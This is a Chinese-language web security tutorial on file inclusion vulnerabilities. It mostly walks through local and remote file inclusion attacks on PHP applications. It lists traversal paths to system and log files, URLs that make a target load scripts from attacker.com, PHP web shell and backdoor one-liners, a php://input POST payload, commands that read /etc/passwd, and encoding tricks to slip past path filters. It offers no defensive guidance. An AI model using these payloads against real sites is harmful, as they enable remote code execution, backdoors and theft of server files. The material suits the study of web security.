漏洞描述
文件包含漏洞(File Inclusion Vulnerability)是常见的Web应用安全漏洞之一,通常由服务器端未正确验证用户提供的文件路径或文件名引起。攻击者通过操控输入参数使服务器加载或执行攻击者指定的文件,从而实现信息泄露、代码执行等恶意操作。
文件包含漏洞主要分为两种类型:
本地文件包含(Local File Inclusion, LFI)
远程文件包含(Remote File Inclusion, RFI)
常见的包含方式:
同目录包含
file=.htaccess
目录遍历
?file=../../../../../../../../../var/lib/locate.db
日志注入
?file=../../../../../../../../../var/log/apache/error.log
漏洞利用
/proc/self/environ
本地文件包含测试
对存在漏洞的页面进行抓包,并构建恶意payload,可调用Yakit插件进行构造。
远程文件包含
1. 基本远程恶意文件加载
直接通过漏洞加载攻击者托管的恶意脚本。
目标URL:
http://example.com/index.php?page=http://attacker.com/malicious.php
恶意文件内容(malicious.php):
<?php system($_GET['cmd']); ?>
执行命令: 攻击者通过URL传递命令参数:
http://example.com/index.php?page=http://attacker.com/malicious.php&cmd=whoami
2. 动态域名和DNS控制
攻击者使用动态域名服务绕过过滤机制或方便部署。
步骤:
注册一个动态域名。
在域名中托管恶意文件。
发起请求
http://example.com/index.php?page=http://attacker.dyndns.org/malicious.php
3. 加载远程后门
利用RFI漏洞上传后门文件并保持长期控制。
示例后门代码:
<?php echo shell_exec($_GET['cmd']); ?>
加载后门:
http://example.com/index.php?page=http://attacker.com/backdoor.php
利用后门执行命令:
http://example.com/index.php?page=http://attacker.com/backdoor.php&cmd=cat+/etc/passwd
4. 伪造合法文件
通过伪装攻击文件为看似正常的文件(如配置文件、图片等),绕过检测。
伪装文件地址:
http://example.com/index.php?page=http://attacker.com/legit.jpg
伪装文件内容(包含恶意PHP代码):
<?php eval($_GET['code']); ?>
5. 加载远程HTML/JavaScript
攻击者通过加载恶意HTML或JavaScript页面实施钓鱼或XSS攻击。
示例攻击URL:
http://example.com/index.php?page=http://attacker.com/phishing.html
效果: 用户访问此页面时被引导至攻击者的钓鱼网站或注入恶意脚本。
6. 使用伪协议加载恶意文件
某些情况下,RFI漏洞可以结合PHP的伪协议机制进行利用。
示例伪协议:
http://example.com/index.php?page=php://input
攻击步骤: 攻击者通过POST请求发送恶意代码:
POST /index.php?page=php://input Content-Type: application/x-www-form-urlencoded <?php system($_GET['cmd']); ?>
执行命令:
http://example.com/index.php?page=php://input&cmd=ls
8. 利用条件竞争
如果目标服务器对远程文件加载有时间限制,攻击者可以利用快速响应的恶意文件控制路径。
攻击方式:
托管一个文件路径返回动态内容。
短时间内多次请求:
http://example.com/index.php?page=http://attacker.com/script.php
结合上传漏洞
攻击者通过上传漏洞在目标服务器上存储恶意文件,再利用RFI加载。
步骤:
利用文件上传漏洞上传
malicious.php
。使用RFI漏洞加载并执行:
http://example.com/index.php?page=/uploads/malicious.php
配合CRLF注入
通过在请求中注入换行符和恶意代码,利用服务器日志或响应头实现RFI攻击。
攻击方式:
在日志中注入恶意PHP代码。
使用RFI漏洞加载日志文件。
配合本地文件包含(LFI)
当RFI漏洞与LFI漏洞结合时,攻击者可以远程加载文件至目标服务器,再通过LFI漏洞执行。
步骤:
通过RFI漏洞将恶意代码加载至目标服务器(如缓存或日志文件)。
使用LFI漏洞加载该文件并执行恶意代码。
攻击示例:
加载到服务器的日志中
http://example.com/index.php?page=http://attacker.com/malicious.php
通过LFI执行代码
http://example.com/index.php?page=/var/log/access.log
防御绕过技巧
绕过文件路径过滤:
使用混淆路径:
http://example.com/index.php?page=http:%2F%2Fattacker.com%2Fmalicious.php
使用双写编码:
http://example.com/index.php?page=http://attacker.com/malicious.php%25253f
动态路径控制: 如果文件路径参数拼接动态字符串,攻击者可利用路径替换规则。
http://example.com/index.php?page=../../http:/attacker.com/malicious.php